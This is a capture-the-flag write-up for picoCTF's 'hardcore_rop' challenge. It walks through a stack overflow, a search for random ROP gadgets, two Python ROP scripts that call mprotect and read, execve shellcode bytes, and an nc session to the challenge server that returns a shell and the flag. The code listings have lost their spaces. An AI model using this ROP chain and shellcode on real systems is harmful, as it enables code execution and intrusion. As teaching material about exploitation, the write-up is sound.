Our team, vulnhub-ctf, joined picoctf to improve our skills and learn a thing or two. There were many challenges, among which a few “Master Challenges” worth 200 points. This is a story of how we tackled hardcore_rop. The challenge promises ASLR, NX, PIE and what-have-you, so let’s get cracking!
Upon inspecting the source of code of this weird program, we see the following:
voidrandop(){munmap((void*)0x0F000000,MAPLEN);void*buf=mmap((void*)0x0F000000,MAPLEN,PROT_READ|PROT_WRITE,MAP_ANON|MAP_PRIVATE|MAP_FIXED,0,0);unsignedseed;if(read(0,&seed,4)!=4)return;srand(seed);for(inti=0;i<MAPLEN-4;i+=3){*(int*)&((char*)buf)[i]=rand();if(i%66==0)((char*)buf)[i]=0xc3;}mprotect(buf,MAPLEN,PROT_READ|PROT_EXEC);puts("ROP time!");fflush(stdout);size_tx,count=0;dox=read(0,((char*)&seed)+count,555-count);while(x>0&&(count+=x)<555&&((char*)&seed)[count-1]!='\n');}intmain(intargc,char*argv[]){structstatst;if(argc!=2||chdir(argv[1])!=0||stat("./flag",&st)!=0){puts("oops, problem set up wrong D:");fflush(stdout);return1;}else{puts("yo, what's up?");alarm(30);sleep(1);randop();fflush(stdout);return0;}}
The randop() function is interesting, because it does two things. Firstly, this bit builds random ROP gadgets:
The memory region containing the random ROP gadgets is set to executable. However, we control the seed value, so we can “choose” which gadgets are generated. Secondly, this function causes a buffer overflow thanks to the following code:
This function starts to overwrite the stack up to the point were the saved return address is. Very nice! First, let’s enable coredumps and get control of EIP.
12345678910
bas@tritonal:~/tmp/picoctf/hardcorrop$ (echo 7777; python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"')| ./hardcore_rop `pwd`yo, what's up?ROP time!Segmentation fault (core dumped)bas@tritonal:~/tmp/picoctf/hardcorrop$ gdb hardcore_rop coreGNU gdb (GDB) 7.4.1-debian...Core was generated by `./hardcore_rop /home/bas/tmp/picoctf/hardcorrop'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
Excellent! After we send a seed value (7777), we supply a buffer that overwrites the saved return address on the stack. But we cannot just put our shellcode on the stack and execute it, because of NX. We can’t write into the region at 0xf000000 because it isn’t writeable. Furthermore, most of the address are randomized due to PIE and ALSR. Only the ROP gadgets at 0xf000000 are always at the same location. We need to find enough ROP gadgets to make the region at 0xf000000 writeable, so that we can store shellcode there and execute it.
For this to work, we need two things: control over registers and an int 0x80 instruction, to execute syscalls. The region at 0xf000000 contains 40960 bytes, filled with random ROP gadgets. There could be an int 0x80; ret; in there. The chances are slim, but there’s a chance nonetheless. I scripted the search for ROP gadgets with the following:
This script does the following: it runs the program and sends a seed value for the ROP gadget generation. Then, it crashes the program. From the coredump, it extracts the region at 0xf000000 and proceeds to dump all these bytes into a textfile. Finally, my custom ropgadget.py searcher extracts all the ROP gadgets. It is slightly modified to work with this setup. I let this script run for a few hours. After a while, I ran
It found an int 0x80 gadget! Luckily, the opcode lahf is harmless: it just load the FLAGS into ah. No big deal! With this useable gadget, a ROP chain could be built that calls mprotect to set the region at 0xf000000 to writeable. After this stage 1, a second stage would read the shellcode. First things first, let’s find gadgets that allow us to control registers. The easiest would be a pop r32; ret. Luckily, these sequences are very likely to occur. I found everything I needed in the list of gadgets:
12345
# RET: 0x000913f: pop eax; ret;# RET: 0x0003c7e: pop ecx; ret;# RET: 0x0002393: pop edx; ret;# RET: 0x000964d: pop ebx; ret;# RET: 0x0000d64: int 0x80; lahf; ret;
#!/usr/bin/pythonimportstructBASE=0xf000000# RET: 0x000913f: pop eax; ret;popeax=0x000913f# RET: 0x0003c7e: pop ecx; ret;popecx=0x0003c7e# RET: 0x0002393: pop edx; ret;popedx=0x0002393# RET: 0x000964d: pop ebx; ret;popebx=0x000964d# RET: 0x0000569: pop edi; ret;popedi=0x0000569# RET: 0x0000d64: int 0x80; lahf; ret;int80h=0x0000d64# RET: 0x0001b11: int3; ret;int03h=0x0001b11defp(x):returnstruct.pack("<L",x)payload=""# seed valuepayload+="0347\n"# overflow bufferpayload+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"# syscall number 125 in eax (mprotect)payload+=p(BASE+popeax)payload+=p(125)# pointer to memory region in ebxpayload+=p(BASE+popebx)payload+=p(BASE)# memory flags PROT_READ | PROT_WRITE | PROT_EXECpayload+=p(BASE+popedx)payload+=p(7)# length in ecx, needs to be multiple of 2payload+=p(BASE+popecx)payload+=p(0x1000)# call syscall int 0x80payload+=p(BASE+int80h)# stage2 test# edi = 0xf000000payload+=p(BASE+popedi)payload+=p(BASE)# edx = 0xcccccccc (four times int 0x3)payload+=p(BASE+popedx)payload+=p(0xcccccccc)# RET: 0x0002770: mov [edi], dh; retpayload+=p(BASE+0x0002770)# return to 0xf000000, which should contain an int 0x3payload+=p(BASE+popedx+1)payload+=p(BASE)printpayload## Usage: $ python ropsploit.py | ./hardcore_rop `pwd`
After running this first POC, the binary indeed crashed with a SIGTRAP error! Inspection of the core dump with gdb showed that the first byte of 0xf000000 was a 0xcc, so this worked!
Writing the shellcode one byte at a time seemed tedious. Furthermore, the ROP chain has a maximum of 555 bytes, so a more flexible way was to use syscall_read. This will allow us to read in arbitrary shellcode. All the necessary gadgets were present:
#!/usr/bin/pythonimporttime,structBASE=0xf000000popeax=0x000913fpopecx=0x0003c7epopedx=0x0002393popebx=0x000964dpopedi=0x0000569int80h=0x0000d64int03h=0x0001b11defp(x):returnstruct.pack("<L",x)payload=""# seed valuepayload+="0347\n"# overflow bufferpayload+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"# eax = syscall_mprotectpayload+=p(BASE+popeax)payload+=p(125)# pointer to memory region in ebxpayload+=p(BASE+popebx)payload+=p(BASE)# memory flags PROT_READ | PROT_WRITE | PROT_EXECpayload+=p(BASE+popedx)payload+=p(7)# length in ecx, needs to be multiple of 2payload+=p(BASE+popecx)payload+=p(0x1000)# call syscall int 0x80payload+=p(BASE+int80h)# eax = syscall_readpayload+=p(BASE+popeax)payload+=p(3)# ecx = ptr to BASEpayload+=p(BASE+popecx)payload+=p(BASE)# ebx = fd = stdinpayload+=p(BASE+popebx)payload+=p(0)# edx = size of shellcode (set to 100)payload+=p(BASE+popedx)payload+=p(100)# call syscall int 0x80payload+=p(BASE+int80h)# return to 0xf000000payload+=p(BASE+popedx+1)payload+=p(BASE)printpayloadtime.sleep(3)
Now, this was used with a slightly modified shellcode. This shellcode uses execve to run /bin/ash; I changed it to run /bin//sh. The shellcode has to be supplied seperately on the command line; I could not get the exploit to work if the shellcode was printed from ropsploit.py. The following landed us a shell on the remote server (again, using cat to keep the shell alive):
1234567891011
bas@tritonal:~/tmp/picoctf/hardcorrop$ (python ropsploit.py; python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'; cat)| nc vuln2014.picoctf.com 4000
yo, what's up?
ROP time!
ls -al
total 24
drwxr-xr-x 2 root root 4096 Oct 28 17:55 .
drwxr-xr-x 3 root root 4096 Oct 5 17:33 ..
-rw-r--r-- 1 root root 21 Oct 5 17:44 flag
-rwxr-xr-x 1 root root 11266 Oct 6 01:13 hardcore_rop
cat flag
hard_as_PIE_amirite?